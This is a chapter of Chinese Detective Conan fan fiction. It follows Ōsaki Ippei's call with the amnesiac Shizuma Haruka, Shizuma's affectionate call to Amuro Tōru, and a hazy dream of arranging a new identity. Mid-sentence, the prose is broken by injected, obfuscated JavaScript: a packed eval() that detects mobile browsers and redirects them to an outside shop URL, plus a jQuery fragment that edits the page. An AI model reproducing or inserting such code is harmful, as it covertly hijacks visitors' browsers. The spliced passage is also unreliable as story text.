安静的午后，警视厅某处的办公室。
百叶窗将炽热的阳光切分成了数条细长的光带，斜着洒进了室内。
靠窗摆放的绿植在斑驳的光影间，随着微风中轻轻摇曳，仿佛在享受着这难得的宁静时光。
办公室中，只有大崎一平和岛袋两人。
他们伏于案前，各自处理着事务，室内只有纸张翻动的沙沙声和笔尖书写的背景音。
大崎一平刚放下手中的文件，揉了揉发酸的眼睛，打了个哈欠，正准备伸个懒腰放松一下僵硬的肩膀……
“铃铃铃！”
突然，一道手机铃声响起，打破了室内的宁静。
大崎一平的动作瞬间定格，伸到一半的手臂也僵在了半空中。
对面的岛袋也猛地抬起头，笔尖在纸上留下了一个浓重的墨点。
两人的目光在空中交汇，都从对方的眼中读到了同样的震惊。
这个铃声和日常使用的只有极其微小的不同，外人根本无从分辨。但在他们耳中，这微小的变调却如同惊雷一般炸响。
——这是他们为那个特别的人设置的专属铃声。
半年多了。
这个铃声从未响起过。
他们曾经甚至担心过，害怕过，这个铃声再不会响起……
半年前，那人消失前，他们发现了内鬼的踪迹。
那人消失后，大崎一平不敢轻举妄动，只能按捺住去寻找那个人的冲动。
后来，绿川先生回来了，这个任务交到了他的手上。
但即便如此，也如同之前一样，那个人依旧是杳无音讯。
但绿川先生却始终坚信那个人许下的承诺：
【我一定会回来的。】
后来，另外的“那个人”也说，那人不会有事。
他们就这般等待着，直到一个多月前，接到“那个人”的消息，绿川先生带来了那个令人振奋的好消息：他回来了。
但同时，也有一个令人忧心的坏消息：
他失去了记忆。
一个多月前，绿川先生尝试过传递消息，却如同石沉大海，毫无消息。他们本想告诉“那个人”，但犹豫再三，还是没有说。
今天，绿川先生选择了再次尝试。
而绿川先生回来后，说：
【比起之前已经好了很多，但记忆似乎还是没完全恢复。】
他们原本已经做好了心理准备：可能要等待数天、数月，甚至又一个半年。
而现在，这个他们期待许久的铃声，终于响了……
“大崎！”
岛袋的轻唤让他猛然惊醒。
大崎一平立刻扑向办公桌上的手机，动作慌乱得险些碰倒了桌上的茶杯。
他深呼吸，强迫自己冷静下来，颤抖的手指按下了接听键：
“喂？雨宫先生？”
-
听到听筒里传来的声音，坐在沙发上的静间遥低垂的睫毛轻轻一颤。
尽管之前早有预感，自己的联络人就是大崎一平本人。
但是真正确定的这一刻，他还是有些惊讶。
原因是，虽然电话那头确实是大崎一平的声音。但感觉上，却与印象中的语气似乎有些微妙的不同。
“大崎……警官？”
“雨宫先生，”电话那头的声音说道，“和以前一样，叫我‘大崎’就好。”
“我知道了，大崎。”静间遥的脸上，是难得的正色。
……
“好的，雨宫先生。那么，我们下周见。”
“下周见。”
话音落下，电话挂断的提示音响起。
静间遥手指一松，任由手机落在沙发上，他向后仰去，看向雪白的天花板，嘴角不自觉地向上扬起。
他已经和大崎一平约好了几天后接头的时间和地点，就在他常去写生的公园附近。有些事情终究是当面说比较稳妥。
好开心。
他找到“自己”是谁了。
想要把这件事，第一个告诉降谷零。
这个念头一旦浮现，他就再也按捺不住。
他立刻抓起手机，播出了通讯录中那个署名为“安室透”的电话。
“嘟……嘟……”
听筒里等待音每响一声，他的心跳就跟着加快一分。
直到数秒后，电话被接通，那个熟悉的温和声音传来：
“喂？雨宫君？”
降谷零。
静间遥在心中轻唤这个名字，仿佛这样，就能更近一些。
-
安室透正收拾着明天出发的行李，手机铃声却在这时打破了房间的寂静。
屏幕亮起，他转头一看，“雨宫裕之”的名字映入眼帘。
他原本打算晚上再打过去，说明要临时出国做任务的情况，却没料到对方先一步拨了过来。
这还是对方第一次打电话给他，真是稀奇。
这个认知让他微微一笑。这通意料之外的来电，仿佛吹散了他突然接到数个海外任务的烦闷。
“喂？雨宫君？”他接起电话，声音柔和。
“前辈！”电话那头的语气听起来轻松愉悦，“明天……你有空吗？”
“怎么了？”
“因为前辈邀请我去你家坐坐，不知道明天可以吗？”
安室透一愣。
今天分别时，他的确这么说过。
如果不是今天突然接到了任务，他非常乐意对方来家里做客，甚至已经在盘算准备什么茶店。
只是……
安室透有些遗憾地叹了口气。
“雨宫君，我很希望你能来，但是……抱歉。”
他解释了临时接到海外任务的情况，电话那头原本雀跃的气氛显而易见地低落了很多。
“这样啊……那，前辈什么时候会回来？”
安室透思索了一下任务，虽然不止一个，但好在任务都集中在欧洲，任务也不算太复杂。
“大概需要一个月。”
“……”电话那头沉默了一下，才传来了一声闷闷的回应，“哦……注意安全。”
安室透的心像是被轻轻挠了一下，忽然低声笑了：“雨宫君，虽然不能见面，但是，你可以打电话给我的，不是吗？”
“真的可以吗？不会打扰前辈执行任务吗？”
“没关系的。”安室透解释，“如果不方便，我不会接听，之后再找时间回复你。”
顿了顿，他又补充道：“对了，我也可以打电话给雨宫君吗？”
“当然！”
安室透几乎能想象电话那头的人展开笑颜的模样，也忍不住勾起嘴角。
“还有……等前辈回来，我有些话想要当面和你说。”
“我会等你回来的！”
……欸？
安室透看着已经挂断的电话，愣住了。
什、什么话？！为什么一定要当面说？
然后，他又后知后觉察觉到，特意询问能不能打电话给对方，这种事情是不是有点太暧昧了？
安室透下意识掏出口袋里的浅蓝色手帕，盯着它发了会儿呆。
说起来，送人手帕什么的，在某些文化里本来就是带着特殊意义的吧？
“啊——”
他红着耳朵，把发烫的脸埋进了那张巴掌大的手帕里。
-
什么时候他才能称呼他为“降谷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667755|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”，而不是“安室”？
是否能有一天，降谷零呼唤自己，用的也不再是“雨宫”，而是他真正的名字“静间”？
静间遥躺在床上，突然浮现了这么一个想法。
也许等降谷零回来，把他所得知道都和盘托出，就能够……
不。
即便如此，在世人眼中，他依然只能是“雨宫裕之”。
他将自己蜷缩起来，悄悄挪到了安室透曾经躺过的位置，把脸埋进对方枕过的枕头里。
脸颊蹭过枕套，恍惚间，仿佛还能感受到安室透残留的温度，还能闻到若有似无的、与他同款的洗发水香气。
但他心里清楚，那不过是自己的温度，自己的味道。
……
他是否该真正地接受“雨宫裕之”这个身份？
毕竟，“雨宫裕之”的过去还有迹可循。
而“静间遥”，除了偶尔想起的记忆片段，几乎无处寻觅。
可是，就这样占据了别人的未来，对于真正的雨宫裕之来说，是否太不公平？
静间遥从枕头中露出眼睛，盯着衣柜上繁复的花纹。
思绪越来越乱，那些花纹开始旋转、扭曲，像是一个漩涡，要将他卷入其中……
……
静间遥坐在一间似曾相识的办公室里。
他坐在柔软的沙发上，正对着一扇紧闭的门。左手边并列着两扇门，一扇也是紧闭着，另一扇则开着一条缝。但那条缝里却是模糊不清，仿佛打上了马赛克。
右手边则是几张整齐排列的办公桌，上边还散落着几份文件。
窗户的锁也被关上，窗外是一片漆黑，什么也看不见。
“静间先生。”
一声轻唤，把静间遥的注意力拉了回来。
不知何时，对面的沙发上已经坐着身形魁梧的男人。对方的面容像是蒙着一层薄雾，无论如何都看不真切。
“按照您的要求，未来的身份将沿用■■■■，并进行了适当的调整。”
对面的男人说着，递过来一张长方形的卡片。
静间遥伸手接过，却发现那上面什么也没有，只是一张完全空白的硬卡。
“辛苦了。”他听见自己说，“■■那边交代了吗？不能牵连他们。”
“他们本就是协助人，情况已经交代好了。”
“那就好。”他点了点头，“接下来这段时间，我会尝试■■……”
“祝您武运昌隆。”
他看着那张卡片，突然想起来什么，问道：“对了，那个人呢？”
“？”
无脸人微微偏头，那张模糊的脸上竟诡异地表现出一种困惑的神色。
他解释道：“最近一直见不到他的人影，我又没办法主动联系他。”
“您是说■■先生吗？”无脸人恍然大悟。
“这个疑问，请允许由我来解答。”
另一个身影也不知何时在侧边的座位落座，同样看不清面容。但从身形和长发可以判断，那是一位女性。
“他最近的任务量骤增，暂时无法抽身。”她说道。
“而且……为了确保您能在必要时安全撤离，他希望与您保持距离。相应的，他也会主动远离您。”
“哈？！”闻言，他怒极反笑，“谁说我要撤离了？一年前他自己答应我的，还想反悔？！想得到美！告诉他，不可能！”
“……”长发无面人欲言又止。
他敏锐地注意到了对方的表情，追问道：“他还说了什么？”
“他还说：既然已经下定了决心，到时候就不要哭着来找他。”
“……啧。”
“刀子嘴，豆腐心。”